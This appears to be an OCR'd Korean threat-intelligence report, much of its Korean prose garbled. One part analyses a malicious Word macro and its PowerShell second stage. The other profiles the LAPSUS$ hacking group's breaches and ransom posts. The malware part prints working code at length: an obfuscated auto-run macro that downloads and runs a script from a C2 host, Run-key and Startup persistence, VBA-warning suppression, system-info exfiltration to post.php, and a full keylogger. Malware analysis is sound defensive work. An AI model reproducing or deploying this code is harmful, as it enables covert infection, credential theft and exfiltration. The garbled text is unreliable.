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VBA(Visual Basic for Application) {32 “ThisDocument”

ci=st 71¢0] KBS UsLC

TdE =2 25 FEof 2Rl 2T T

Attribute VB_Name = "ThisDocument"

Attribute VB_Base = "1Normal.ThisDocument"

Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_Predeclaredld = True
Attribute VB_Exposed = True

Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()

Set djfeihfidkasljf = CreateObject("Shell.Application")

Dim dfgdfjiejfidshaj As String
fidjkasf = "vnslajdsladkf"
fidikasf = Left(fjdjkasf, 5)

‘vbaProject.bin” IIEE g

= 2AE O @A bl 2ol UE =AIE

dfgdfjiejfjdshaj = "pvnslavnslaowvnslavnslavnslaersvnslahelvnslavnslal.evnslaxvnslae”

dfgdfjiejfidshaj = Replace(dfgdfjiejfidshaj, fjdjkasf, ")

hdfksallasjkdlaf =

"[vnslastvnslarivnslanvnslag]$vnslaf={(Nvnslawrvnslaaevnslaw-Ovnslabjvnslawrvnslaavnslavnslaecvnslat

vnsla "
hdfksallasjkdlaf
ndkflajdkfjskdifl

Replace(hdfksallasjkdlaf, fjdjkasf, ")
"Nvnslaewvnslaravnslavnslat.WWvnslaebvnslawrvnslaaCvnslalvnslaiwvnslavnslaravnslae



wvnslaravnslanvnslat). Dovnslawevnslailvnslasvnslavnsladjvnslafenvnslag”

ndkflajdkfjskdjfl = Replace(ndkflajdkfiskdifl, fidjkasf, ")

salfnxkfdisjafkj = "(hvnslatvnslatvnslapvnsla:vnsla/vnsla/vnslauvnslayvnslafvnslahvnslakvnsla.vnslamvn
slayvnslapvnslarvnslaevnslasvnslasvnslaovnslanvnslalvnslaivnslanvnslaevnsla.vnslacvnslaovnslamvnsla/v
nslahvnslaovnsla/vnslalivnsla.vnslatvnslaxvnslat’)"

salfnxkfdlsjafkj = Replace(salfnxkfdisjafkj, fidjkasf, ")

sjdfkjaslalsfial =

"1:$jvnsla=$vnslafvnsla.Revnslapvnslalavnslavnslacvnslae(vnslawra',");: $vnslau=$vnslajvnsla.Rvnslaepvnsl
alavnslacvnslae('evnslailvnslasdvnslavnslajvnslafvnslae',”

sidfkjaslalsfial = Replace(sjdfkjaslalsfial, fjdjkasf, ")

aksfkjaskjfksnkf = "nvnslalovnslaadvnslavnslasvnslatrvnslaivnslavnsla’); $xvnsla=ievnslavnslax
$vnslauvnslasievnslaxvnsla $vnslaxvnsla®

aksfkjaskjfksnkf = Replace(aksfkjaskjfksnkf, fidjkasf, ")

yeuskaksef = hdfksallasjkdlaf + ndkflajdkfjskdjfl + salfnxkfdisjafkj + sjdfkjaslalsfial + aksfkjaskjfksnkf

difeihfidkasljf.ShellExecute dfgdfjiejfidshaj, yeuskaksef, ", "open’, 0

End Sub

ZAIES0| g2 RIe U7| W20 HEXAS HX|7| FIK| |AC= MOfSk=H| 0{HZ0| ZXH

ampgio
E
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O7|M MEE XE2ZAE RF HASHE A YHOIKIZ, BHH0Y(C2) MH2 H=3t 2221 “vnsla” EXES
SF H7otH TSt 20| HEA 210] 7hSELIC

Attribute VB_Name = "ThisDocument"

Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False

Attribute VB_Creatable = False

Attribute VB_Predeclaredld = True

Attribute VB_Exposed = True

Attribute VB_TemplateDerived = True

Attribute VB_Customizable = True

Private Sub Document_Open()

Set djfeihfidkasljf = CreateObject("Shell.Application")
Dim dfgdfjiejfjdshaj As String

fidjkasf = "jdsladkf"

fidikasf = Left(fjdjkasf, 5)

dfgdfjiejfidshaj = "powershell.exe"

dfgdfjiejfjdshaj = Replace(dfgdfjiejfidshaj, fidjkasf, ")
hdfksallasjkdlaf = "[string]$f={(Nwraew—Objwraect "
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hdfksallasjkdlaf = Replace(hdfksallasjkdlaf, fjdjkasf, ")

ndkflajdkfjskdjfl = "Newrat.WebwraCliwraewrant).Doweilsdjfeng"

ndkflajdkfjskdjfl = Replace(ndkflajdkfjskdifl, fidjkasf, ")

salfnxkfdisjafkj = "(http://uyfhk.mypressonline.com/ho/li.txt)"

salfnxkfdlsjafkj = Replace(salfnxkfdisjafkj, fidikasf, ")

sidfkjaslalsfial = "};$j=$f.Replace(wra',");$u=3$j.Replace(eilsdjfe',"

sjdfkjaslalsfial = Replace(sjdfkjaslalsfial, fidjkasf, ")

aksfkjaskjfksnkf = "nloadstri);$x=iex $usiex $x"

aksfkjaskjfksnkf = Replace(aksfkjaskjfksnkf, fidjkasf, ")

yeuskaksef = hdfksallasjkdlaf + ndkflajdkfjskdjfl + salfnxkfdlsjafkj + sjdfkjaslalsfial + aksfkjaskjfksnkf

difeihfidkasljf.ShellExecute dfgdfjiejfidshaj, yeuskaksef, ", "open’, 0

End Sub
0| Het=l EXIES Soll HE2E= “powershell.exe” BEHs Sl EH SAE(http://uyfhk.mypressonline.
com/ho/li.txt) FAZ HEZ ATSit= Rg IRy & USLIC

H=51E VBA HHS Solf Powershell.exeZ A=, HHEK|0(C2) MHQ! “http://uyfhk.mypressonline.com/

ho/li.txt” FAZ &5 ELICL sHY THIQI2 ‘webfreehosting.net’” MHIAZ S5l S22 FAO|H, SUSH
t&

SAXH =] A

ofal U= F= # 24F MH[A SOf| SHARLIC

F . atwebpages.com = Create
E My domains
E Utility domains

www.WebFreeHosting.net

getenjoyment.net
medianswsonline.com
myartsenline.com
mygamesonline.org
mypressonline.com
mywebcommunity. org
onlinewebshop.net

ns scienceontheweb net
= s_portsontheweb.ﬁet
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& uyfhkemypressonline.com/ho/lic X +
“« C @ =2 gz | uyfhkmypressonline.com/ho/li.tx g
STIME_VALUE = G0+30
$ReaValuetame = “AhnlabUepdate”
$Regkey = "HKCU:WSOFTWARESMicrosoft¥Windows¥CurrentVersion¥Bun”
funct ion decodei$encstr)
fkey = [byte[]]
(0,2,4,3,3,6,4,5,7,6,7.0,5,5,4,3,5,4,3,7.0,7.6,2,6,2,4,6,7,2,4,7,56,5,7,.0,7,3,3,3.7
,3.3.1,4,2,3,%,0,2,7,7.3,5.1,0,1,4,0,5,0,0,0,0,7%,.5,1,4,5,4,2,0,6,1,4,7,5,0,1,0,3,0
,3.1,3,56.1,2.6.0,1,7.1,4,6,0,2,3,3,4,2,5,2,5,4,5,7.3,1,0,1,6,4,1,1,2,1,4,1,6,4,2,7
,4,8,1,6,4,6,3,6,4,5,0,3,6,4,0,1,6,3,3,5,7,0,6,7,7.2,5,.2,7.7.4,7,5,5,0,5,6)
$len = $encstr.Length
fi=0
fi =
fcomletter = °°
whilel($i -t $len)
{
i = %] % 160
$asciidec = Sencstri$il -bxor $kew[$)]
fdec = [charl$asciidec
fcomletter += $dec
$_i++
$i++
I3
return $comletter
}
$SERYER_ADDR = "http:/fuvfhk.mypressonl ine. com/ho/”
$UP_URI = "post.php”
SupMame = "1i"
flocal D = "1
$LOG_FILEMAME = "Ahnlab.hwp”
SLOG_FILEPATH = “#ihnlab#”
funct ion UpLoadFunct$logpath)
$Url = $SERVER_ADDR + SUP_LRI
fbReturn = $True
ftestpath = Test-Path $logpath
if(ftestpath —eq $False)
{
return $hReturn
t
$hexdata = [10,Filel::Readd!Text($logpath)
fencletter = decode fhexdata
$nEncLen = $encletter.Length
HLF = e X
LS o

(12 8] BERO(C2) Mol SN U= 7t HO| 25
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CREok= REHE HRIZE AAE ASLIC

MHXMOI == Of2HRt 20| M= UCH, “Ahnlab.hwp” MUFOZ 27 MAS XAGIT SUSH SAER
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$TIME_VALUE = 60*30
$RegValueName = "AhnlabUpdate"
$RegKey = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
function decode($encstr)
{

$key = [byte[l](0,2,4,3,3,6,4,5,7,6,7,0,5,5,4,3,5,4,3,7,0,7,6,2,6,2,4,6,7,2,4,7,56,5,7,0,7,3,3,3,7,3,
3,1,4,23,7,0,2,7,7,3,5,1,0,1,4,0,5,0,0,0,0,7,5,1,4,5,4,2,0,6,1,4,7,5,0,1,0,3,0,3,1,3,5,1,2,5,0,1,7,1,4,6,0,2,3
,3,425254573,1,0,1,6,4,1,1,21,4,1,5,4,2,7,4,5,1,6,4,6,3,6,4,5,0,3,6,4,0,1,6,3,3,5,7,0,5,7,7,2,5,2,7,7,
4,7,5,5,0,5,6)

$len = $encstr.Length

$i=0

$i=0

$comletter = ™

while($i -1t $len)

{

$ =% % 160

$asciidec = $encstr[$i] —bxor $key[$]]
$dec = [char]$asciidec

$comletter += $dec

$j++

$Si++

}

return $comletter
}
$SERVER_ADDR = "http://uyfhk.mypressonline.com/ho/"
$UP_URI = "post.php"
$upName = "Ii"
$LocallD = "Ii"
$LOG_FILENAME = "Ahnlab.hwp"
$LOG_FILEPATH = "\Ahnlab\"
function UpLoadFunc($logpath)
{
$Url = $SERVER_ADDR + $UP_URI
$bReturn = $True
$testpath = Test-Path $logpath
if($testpath —eq $False)
{
return $bReturn
}
$hexdata = [IO.File]::ReadAllText($logpath)
$encletter = decode $hexdata
$nEnclLen = $encletter.Length
$LF = "r'n"



$templen = 0x100000

$sum = 0

do

{
$sz0Optional = "
$pUploadData = "

Start-Sleep -s 0.1
$readlen = $templen;
if (($nEncLen — $sum) -It $templen)

{
$readlen = $nEncLen — $sum
}
if ($readlen —ne 0)
{
$pUploadData = $encletter + $sum
$sum += $readlen
}
else
{
$pUploadData += "ending"
$sum += 9
$readlen = 6
}
Start-Sleep -s 0.001
$boundary = "~———BH8AHRE7933DUTSLIEJDKF"

$ContentType = 'multipart/form-data; boundary="+ $boundary
$bodyLines = (

"——$boundary"”,

"Content-Disposition: form—data; name="MAX_FILE_SIZE""$LF",
"10000000°,

"——$boundary",

"Content-Disposition: form-data; name="userfile""; filename=""$upName™",
"Content-Type: application/octet-stream$LF",

$pUploadData,

"——$boundary"

) —join $LF

Start—Sleep —s 0.001

$psVersion = $PSVersionTable.PSVersion

$r = [System.Net.WebRequest]::Create($Url)
$r.Method = "POST"
$r.UseDefaultCredentials = $true
$r.ContentType = $ContentType

$enc = [system.Text.Encoding]::UTF8
$datal = $enc.GetBytes($bodyLines)
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$r.ContentLength = $datal.Length
$newStream = $r.GetRequestStream()
$newStream.Write($data1, 0, $datal.Length)
$newStream.Close();

if($php_post -like "ok")

{
echo "UpLoad Success!!!"
}
else
{
echo "UpLoad Faillll"
$bReturn = $False
}

} while ($sum -le $nEncLen);
return $bReturn
}
function FileUploading($upPathName)
{
$bRet = $True
$testpath = Test-Path $upPathName
if($testpath —eq $False)
{
return $bRet
}
$UpL = UpLoadFunc $upPathName
if($UpL —eq $False)
{
echo "UpLoad Faillll"
$bRet = $False
}
else
{
echo "Success!!!"
}
del $upPathName
return $bRet
}
function Download
{
$downname = $LocallD + ".down"
$delphppath = $SERVER_ADDR + "del.php"
$downpsurl = $SERVER_ADDR + $downname
$codestring = (New-Object System.Net.WebClient).DownloadString($downpsurl)
$comletter = decode $codestring



}

$decode = $executioncontext.InvokeCommand.NewScriptBlock($comletter)
$RunningJob = Get-Job -State Running
if($RunningJob.count -It 3)

{

$JobName = $RunningJob.count + 1

Start-Job -ScriptBlock $decode -Name $JobName
} [
else
{

$JobName = $RunningJob.count

Stop-Job —Name $RunningJob.Name

Remove-Job —Name $RunningJob.Name

Start-Job —ScriptBlock $decode —-Name $JobName
}

$down_Server_path = $delphppath + "?filename=$LocallD"
$response = [System.Net.WebRequest]::Create($down_Server_path). GetResponse()
$response.Close()

function Get_info($logpath)

{

}

Get—Childltem ([Environment]::GetFolderPath("Recent”)) )) $logpath
dir $env:ProgramFiles )) $logpath

dir "C:\Program Files (x86)" )) $logpath

systeminfo )) $logpath

tasklist )) $logpath

function main

{

Set—ExecutionPolicy —Scope CurrentUser —ExecutionPolicy Bypass —Force
$FilePath = $env:APPDATA + $LOG_FILEPATH

New-Item —Path $FilePath —-Type directory —Force

$szLogPath = $FilePath + $LOG_FILENAME

$key = Get-Item -Path $RegKey

$exists = $key.GetValueNames() —contains $RegValueName

if($exists —eq $False)

{
$value1 = New-ltemProperty —Path $RegKey -Name $RegValueName
Get_info $szLogPath

}

while ($true)

{

FileUploading $szLogPath
Start-Sleep -s 10
Download

=
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Start-Sleep -s 10
Start-Sleep -s $TIME_VALUE

}
}
main
A7| HHES Sol UG SAE(http://uyfhk.mypressonline.com/ho/)MIA] “il.down” THI0| AX|=|1T, 16074
oS8l 7|12 0|23t C|TY REIS Edl USstel TSI ES3IELICE 160712 4S5t 7|= Of2iQt Z&Lct.

0,2,4,3,3,6,4,5,7,6,7,0,5,5,4,3,5,4,3,7,0,7,6,2,6,2,4,6,7,2,4,7,5,5,7,0,7,3,3,3,7,3,3,1,4,2,3,7,0,2,7,7,3,5,1,0
,1,4,0,5,0,0,0,0,7,5,1,4,5,4,2,0,6,1,4,7,5,0,1,0,3,0,3,1,3,5,1,2,5,0,1,7,1,4,6,0,2,3,3,4,2,5,2,5,4,5,7,3,1,0,1,
6,4,1,1,2,1,4,1,5,4,2,7,4,5,1,6,4,6,3,6,4,5,0,3,6,4,0,1,6,3,3,5,7,0,5,7,7,2,5,2,7,7,4,7,5,5,0,5,6

21210 10T 2AIE Lt “il.down” IIAS 1:12 XOR 2&| HEtS HXPA| =M 37t HHO| 7180] LERLA ELC
0| HHS Soll AFEQ AR Z7(\Microsoft\Windows\Start Menu\Programs\Startup\)0ll “Ahnlab.Ink”
HIZ707| MAUS Mok, “litxt” MAU0| HREH BE Al XS ARETE Fdo XSES FAIZLIC

J2|1 MS Office Word2| Security BIXIAEER|S| “VBAWarnings”™ a2 HZaH

function regester
{

$filepath = "C:\windows\temp\HncSerial.log"

New-ltem —Path $filepath ~Type file —Force

$String = "[string]'$a = {(New-Object Net.WebClient).Dokarysuntring(http://uyfhk.mypressonline.com/
ho/li.txt)};' $b="$a.replace(karysun’,'wnloadS');'$c=iex ‘$bsiex "$c"

$string )) $filepath

$shell = New—Object ~ComObject WScript.Shell

$makepath = "\Microsoft\Windows\Start Menu\Programs\Startup\"

$desktop = $env:APPDATA + $makepath

$shortcut = $shell.CreateShortcut(*$desktop\Ahnlab.Ink")

$shortcut.TargetPath = "powershell.exe”

$shortcut.Arguments = "-WindowStyle Hidden —command &{[string]'$x= [IO.File]::ReadAllText
(‘C:\windows\temp\HncSerial.log);iex "$x}"

$shortcut.lconLocation = “imageres.dll, 97"

$shortcut.WindowStyle = 7

$shortcut.Description = "administrator”

$shortcut.WorkingDirectory = “c:\"

$shortcut.Save()

$RegKey1 = 'HKCU:\SOFTWARE\Microsoft\Office\14.0\Word\Security'



$RegKey2 = 'HKCU:\SOFTWARE\Microsoft\Office\15.0\Word\Security'

$RegKey3 = 'HKCU:\SOFTWARE\Microsoft\Office\16.0\Word\Security'

$RegKey4 = 'HKCU:\SOFTWARE\Microsoft\Office\17.0\Word\Security'

$RegKeys = 'HKCU:\SOFTWARE\Microsoft\Office\18.0\Word\Security'

$RegKey6 = 'HKCU:\SOFTWARE\Microsoft\Office\19.0\Word\Security'

$regValue = 1

$RegValueName = "VBAWarnings"

$valuel = New-ItemProperty —Path $RegKeyl —-Name $RegValueName -Value $regValue
$valuel = New-ItemProperty —Path $RegKey2 -Name $RegValueName -Value $regValue
$valuel = New-ItemProperty —Path $RegKey3 -Name $RegValueName -Value $regValue
$valuel = New-ItemProperty —Path $RegKey4 -Name $RegValueName -Value $regValue
$valuel = New-ItemProperty —Path $RegKey5 —-Name $RegValueName -Value $regValue
$valuel = New-ItemProperty —Path $RegKey6 -Name $RegValueName -Value $regValue

$LOG_FILENAME = "Ahnlab.hwp"
$LOG_FILEPATH = "\Ahnlab\'

$FilePath = $env:APPDATA + $LOG_FILEPATH
$logfile = $FilePath + $LOG_FILENAME

$MAPVK_VK_TO_VSC = 0x00
$MAPVK_VSC_TO_VK = 0x01
$MAPVK_VK_TO_CHAR = 0x02
$MAPVK_VSC_TO_VK_EX = 0x03
$MAPVK_VK_TO_VSC_EX = 0x04

$virtualkc_sig = @'
[Dlllmport("user32.dll, CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
'@
$kbstate_sig = @'
[Dllimport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
'@
$mapchar_sig = @
[Dlllmport(*user32.dll*, CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
'@
$tounicode_sig = @'
[Dlllmport("user32.dll, CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] Ipkeystate, System.Text.
StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
$getwin_sig = @
[Dlllmport(*user32.dll", CharSet=CharSet.Auto)]
public static extern int GetForegroundWindow();
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@

$getKeyState = Add-Type —MemberDefinition $virtualkc_sig —name "Win32GetState" —namespace
Win32Functions —passThru

$getkBState = Add-Type —~MemberDefinition $kbstate_sig —name "Win32MyGetKeyboardState"
—-namespace Win32Functions —passThru

$getkey = Add-Type —MemberDefinition $mapchar_sig —name "Win32MyMapVirtualKey" —namespace
Win32Functions —passThru

$getUnicode = Add-Type -MemberDefinition $tounicode_sig —name "Win32MyToUnicode"
—-namespace Win32Functions —passThru

$getWindow = Add-Type —MemberDefinition $getwin_sig —name "Win32MyGetForegroundWindow"
—-namespace Win32Functions —passThru

$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ'
$oldWindow = 0

[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null

while ($true)

{
Start—Sleep —Milliseconds 20
$gotit = ™
for ($char = 1; $char —le 254; $char++)
{

$vkey = $char
$gotit = $getKeyState::GetAsyncKeyState($vkey)
if ($gotit —eq -32767)
{
try

$I_shift = $getKeyState::GetAsyncKeyState(160)
$r_shift = $getKeyState::GetAsyncKeyState(161)
$I_ctrl = $getKeyState::GetAsyncKeyState(162)
$r_ctrl = $getKeyState::GetAsyncKeyState(163)
$spacebar = $getKeyState::GetAsyncKeyState(32)
$Enter = $getKeyState::GetAsyncKeyState(13)
$Backspace = $getKeyState::GetAsyncKeyState(8)
$caps_lock = [console]::CapsLock

$scancode = $getKey::MapVirtualKey($vkey, SMAPVK_VSC_TO_VK_EX)
$kbstate = New—Object Byte[] 256
$checkkbstate = $getKBState::GetKeyboardState($kbstate)

$mychar = New-Object —TypeName "System.Text.StringBuilder";
$unicode_res = $getUnicode::ToUnicode($vkey, $scancode, $kbstate,



$mychar, $mychar.Capacity, 0)

if ($unicode_res —gt 0)

{

$_.MainWindowHandle -eq $topWindow }

"Processld = $ProlD"

$process2.commandline + *|" + $process.mainWindowTitle + "|* + $time + " ======"n"

[System.Text.Encoding]::Unicode)

GetText() —-ne "'}

Forms.Clipboard]::GetText() + "}"

Text.Encoding]::Unicode)

$topWindow = $getWindow::GetForegroundWindow()
if ($topWindow —ne $oldWindow)

{

$time = Get-Date —format "dd/mm/yyyy HH:mm"
$oldWindow = $topWindow
$process = Get-Process | Where-Object {

[int]$ProlD = [int]$process.id
$process2 = Get-WmiObject Win32_Process —Filter

$Str = "‘n‘n:===== "+ $proceSS.id + "|" +

[System.|O.File]::AppendAllText($logfile, $str,

}
if ($1_ctrl —or $r_ctrl)
{
[int}$c = [int]($mychar.toString().toCharArray()[0])
if (3¢ —gt 0 —and $c -It 27}
$str = "[Ctr+" + $chars[$c-1] + "
}
elsef
$str = "[Ctrl+?]"
}
if ($c —eq 22)
{
if ([System.Windows.Forms.Clipboard]::
$str += " + [System.Windows.
}
else {
$str +="{}"
}
}
[System.|O.File]::AppendAllText($logfile, $str, [System.
}
elseif ($spacebar)
{

$str = "[spacebar]”
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Text.Encoding]::Unicode)

Text.Encoding]::Unicode)

Text.Encoding]::Unicode)

[System. Text.Encoding]::Unicode)

}
} catch { }

regester

£35|, MS Office 22t AH HX|AEL| F0f| “VBAWarnings™ 42 “1"= £

[System.|O.File]::AppendAllText($logfile, $str, [System.

}
elseif ($Enter)
{
$str = "[Enter]"
[System.|O.File]::AppendAllText($logfile, $str, [System.
}
elseif ($Backspace)
{
$str = "[Backspace]"”
[System.|O.File]::AppendAllText($logfile, $str, [System.
}
else
{
[System.|O.File]::AppendAllText($logfile, $mychar,
}

Aol BE IHE=7t el A

ot= HHGHK| = SMOE HFH0| HEE|0 FI1XO1 OshE 0|01 o~ UA| ELICL HE0 A 2 Z2MA
M2 Y 7|12(Keylogging) 7|15 S Soll LA ARES HHE SE6l 25| HE[6k= QEAEY JTISS o8
oA ELCt.

$RegKeyl = 'HKCU:\SOFTWARE\Microsoft\Office\14.0\Word\Security'

$RegKey2 = 'HKCU:\SOFTWARE\Microsoft\Office\15.0\Word\Security'

$RegKey3 = 'HKCU:\SOFTWARE\Microsoft\Office\16.0\Word\Security'

$RegKey4 = 'HKCU:\SOFTWARE\Microsoft\Office\17.0\Word\Security'

$RegKeyb = 'HKCU:\SOFTWARE\Microsoft\Office\18.0\Word\Security’
$RegKey6 = 'HKCU:\SOFTWARE\Microsoft\Office\19.0\Word\Security’
$regValue = 1

$RegValueName = "VBAWarnings"
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Analysis of the LAPSUS$
hacking group
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\g S2W, ZAZF 0|AL, kay@s2wlab.com

Executive Summary

LAPSUSS il JE= Zl4 2021 58 1652%H e THM SIS ARG A=z FHE

0|52 =2 OlsrE U= A0 2mH2|0|E{(RaaS)ZZI0| O, HIOH EHFE HMEO= Moh= 34
JEC= 2RI

170l= RaidForums 2! Exploit.indt Z+2 E/CH 8 20f| TjsH 7|I0f TSt ANZSS YZCot §His

AE=otAXIZE, 20214 128 102RE AISTHO| 273 MIAS ddol 82 A &3S ol US

o
2 2-UAME E2tRo| 2R et ZX H|0jE RES AIXCE, 22 NVIDIA & &80 et 2
H|O[E{=2t OfL|2t LG, Microsoft, 12|11 Oktalfl CHet H|O[HE E==otH M MAS| === UCH 0|52
21 UZ
OIS0 CH7 |0 LiSO M2 f 7+ SS0l= B=22 VPN & MFAOIH, =2 MFAE 23[617] 2o
SHIZ 718 A8 AXLNE 54, o A, AofAT A=, ME MY AE B2, WR 2 E= AKX

2HE T2 T ST 2 CHYS HAS ASE
A4 5 0[40] WHISO| TYFOIRUE HOR2 FHE= 0| J82| £7| SHS FHO[RIOL, AI0= Kse
Tolet 220 NS 9o 32 Ty MEE B0 ZIXSPH| oHR| = HOR UK US

O%| Falot LHE0| S/HEIRl= UK OlF & 20| FOH HHE AS AC2 FHEH, NVIDIAT

RRAISO| Cholo] 2=B24Z 5t 2O A2Ust OJ20] QUUH O HUS If U FOILIX| 942 HHE
2l o2 Mty

0|52 =AHoz SN of SO EIX| IR, S 0 2 BYS WD Y| B2 HS o
LUSPH| ST TH5A0] 001 00| TS CE| W XAXQI 32 18 £X0| LRHEY

202241 38 259 YA, 22ARI0IN “White’2lT Y2iZl SARE 40| 16K AL0| LAPSUSS B2
229 2H 3 $YOS NSE0] JIASOLY, OfX5| SYoP YIUS 2US 51T US

AtO|H HZ| =X ME 7|X}2l Brian Krebsi| I2H, LAPSUS$ 152 Russian Marketdt 22 F2|HIM
B 0P0R2LE Q5% J2HEs TOfEICT ogst



2. History of the LAPSUS$

LAPSUSS ad &2 242 2021 58 152 Ha#l ZQ! RaidForumsOiiA Z|ZE2 SIRIFRICE. 0|2 FAl
MIA 2l R AMB|A HXI21 SCHLUMBERGERZRE] CI0|EIS UL FEOHH, 1241} 217 YEIF ZotE
836,000742| HIO|HE 2BTCOH| Milioit= HA 25 == =oAL Lot RS2 e 2 7|8IE
ZFQICH SCHLUMBERGERE 215017 |= olCE 0] ZA|0= XS] LAPSUSS$EH= ElHO0| OFH, APT 777 /

GoldFish Teamz2h= 0|52 AIESt o= FHEIL

SELLING USER DATA OF SCHLUMBERGER (836846 lines) ——

by 4¢3 - May 15, 2021 at 09:12 PM

| come to sell all the data for Schlumberger 2021

" "LastName", "Middlelnitial", "JobTitle", "Company", "PhoneNumber”,
", "TermsAgreement”, "Active”, "PremiumContent”,
strationlP", "SBCPremiumContent", "

PrivateSpaces "," PremiumVideo "," Premium "" SSOSequenceNumber "," Lega

RegistrationSource "

sample proof: https://Obin.net/paste/31VsqnRE#oM6qatcZ...M+2nDdELx8

price: 2 btc

contact: [email protected]
btw accepted escrow.

Schlumberger Inc., we have given you several opportunities but pride is above the privacy of your customers and employees

Lengths to Schlumberger Inc by APT 777 / GoldFish Team

01 & U 5, D0 RIS APIE 7RI A JHE U RSRI! EARKE| 780GBS] AATES LFUCIH,
RIS DX B4S 752 22 HOIES REAZ 20K B ANZS B2 0f 20k XSO

PGP 7|£ &M ¢gotd=0, OXof| LAPSUSS$ZH= SiXi 'E!%:'Ol SOIL|QICt 0|Z2 RaidForums®| Exploit.in,
XDAR} &2 02| EH/Ct2@ ZHO0IM XSSl HI0jH |22 b O[EE SIIE|AULCY.

0}0II
r()lI

. The Biggest EA Data Leak

By 4c3, July

Reply ta this topic

4c3

byte
Hello world,

Tomorow we will publish the main source code we have (the 7B0GE src code)

We are making this thread for the leak to stay up.

For our security we won't post any mirrors or anything else. please do some. torrents, mega etc...
‘We still have userdata mainly on sims and the RCE.

For the userdata we will keep it and try to deal a last time with EA.
For the ree, if you have good skills you try to find it by exploiting the sre code.

1f EA deny our last ransem we will publish the userdata and do a global injection process. we have the exploit ready. signed

and stealth.

d1
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FULLI 1 IT2 11 e | )1 1ASE IV REAC MY DI S LA AALL L sAsen e P tars
aFfy0B2JBHUfrDZEreY TmYn1610165sy7dWOFLVTLA]2f 4 m2ct3Qi
9Bep4ExOPUFf+00a%un7azng4rL Ark+bl/FVTMbBIMNUNjupvgsSVwBbJcH5UTSVP
tzualoPTPJsMIigwlo3oKzeXDBVaBhgYeHEMzZTsiPiX350+HCBTlirHORpXdP4do=
=Cmwu

O|S0| XIS MYUA AHZEH HI| MEH, I52 RansomWARES ALESHA| 211 2EX| RansomitE
TUSICI D STt 0|52 58K 0[50 FZH0|H 2R= MOIE 2l ESS ot ACtIT S, Impersa®t
Z2 UEAM0 Ot H0|H FEMME Y= MHHZ ofX| 250N SHEC=E AMUS2| 0152 L2(7| 2lshA
A4S oL/ | o4, Localiza2t 22 HIE7FF GXI0f CHet SZ0jA HIO|E REEH= SHOIXIZ J2! AOIEZ
SZEEE A% Aoz HOt OF § Y7 s US| IDIE floi A= st A= EOTCE Lo,
ds2 AAZ Il 7|@S0| == K=ol floiMe ARulS2 2 BHO0| EQoiCit AHEok = St

OlS2 E2tE AR 324 I XAHS0] MZH0IE MSHHY AE6 | iR, 0|20 B=RX 7{E
Ceo|H 22 M=ZCI0IE Aacks S F2iol 2QlE dis SXITH 8 W O Jk 43S HRet HHE S
AO= FFEL.

rOII

O0I=0| AT LoA CHote = SXIE et

LAPSUS$2t LAPSUS$ Chat AIES ArE5H=H, LAPSUS $Chat

Al F2 TiYet HUIYS Sall 2t HMHE 2ol | SIUC Ofi= RN 22l = gl HHIJS0|H,

A=z 2t HUY0| HHEZ LIENJUSK= RI=IX| LA

* ADMIN A
* ADMIN B
* ADMIN C
* ADMIN E
* ADMIN J
* ADMIN K
* ADMIN P
* ADMIN R
* ADMIN S
* Assistant A

* Assistant B
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MES SaliA 28 1420 l= XHUSTHO| Tor €l AIO|EE 2 2ESH 10|11 PGP KeyE 38e A0[2t1 g
Slgon, XIS Panama Hof| 2|7slx -<'57—4.§ 285t QCHIE AZSIRCE 0] HO| AMAOZHH, 0|2
NordVPNIt Z2 Panamall X5t VPNAMHIAS At2ol0 3AS £H3MS 7HsA0| =Lt

AMO|HHZ| M2 7|XIQ! Brian KrebsOl| M2MH, L APSUS$ 129| 2|H2t 224Xl Wh1teZ} EDR(Emergency
Data Request) QG IE Wi B thet AAEEE i Z10(2t 0 HERICD STt EDRS| 2 ZHRI0A|

(=]
STt &% 2 Al 7|Y0A 2 H0IHE QFok=s EXIZ, 0|2 ZFet ZHA HY FAES 018510 Appled|
Qs ZdOIEf AL BiCt,

3. Data Breach Timeline by LAPSUS$

LAPSUSS telegram channel created X
Claimed they hacked Brazilian Ministry of Health Claimed they hacked Samsung
20211240 Claimed they hacksd Expresse, SIC 2022.03.03

2021.07.26 2022.02.09 2022.03.22

N el el

2022.01.02
EA breach posted on EXPLOIT.IN Claimed they hacked Vodafone in Portugal { They uploaded LG, Microsoft, OKTA data

2021.08.01

Sent spam message to EE's user 2022.02.26

2022.03.30
Leaked Giobant's admin credentials

Claimed they hacked NVIDIA
2021.12.31

Claimed they hacked Claro, 2022.01.11 2022.03.12
Embrate! Claimed they hacked Localiza Claimed they hacked Ubisoft

e 34 A7l 1 2021-12-10
o eIy om A7l - 2021-12-10

LAPSUSS Z2A4IES XJAISO| Eigj|1a0| 2R HZHE9] Amazon Web Services(AWS)0f| CHSE QHM|IA

Hols HUACIT FHGIRULEL 0|2 Sl S2HRLEl R0 = HI0|E| 2F 50TBE EF/6IAU L, 0|7 25 AMK|

SICIL BiCt, O|F XHMSHA| At 1° QFoHH e O|HIYUS 2H oI, 7[KEE0Al Q1B
=] 0] I.

CHot QFE L AN =R 012 e SHOIXIZ Of2het Z2 SfHOZ HASIIL

|:|0II

INTERNAL SYSTEM DATA HAS BEEN COPIED AND DELETED.
50TB OF DATA IS IN OUR HANDS.
CONTACT US IF YOU WANT DATA RETURN.
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LAPSUSS

os DOS SISTEMAS FORAM

COPIADOS E EXCLUIDOS. 50 TB DE DADOS ESTA
EM NOSSAS MAOS.

NOS CONTATE CASO QUEIRAM O RETORNO DOS DADOS.

https:/t.me/minsaudebr
saudegroup@ctemplar.com

0|52 O] TME[X] X, HaH HARE TS Mof X[S0HK| ¢! AUCHH, B2tE FHo| L2 SH|0[X[o]
CHSt 34T XSHOE S o AMIS2 ST @EX| =X0| ol SEot 372t 3hst 2=
LIEO0| SF0| OfL|Ll, Ofst MX[MQI O]k QICILT CA| gt H AHESIRACE

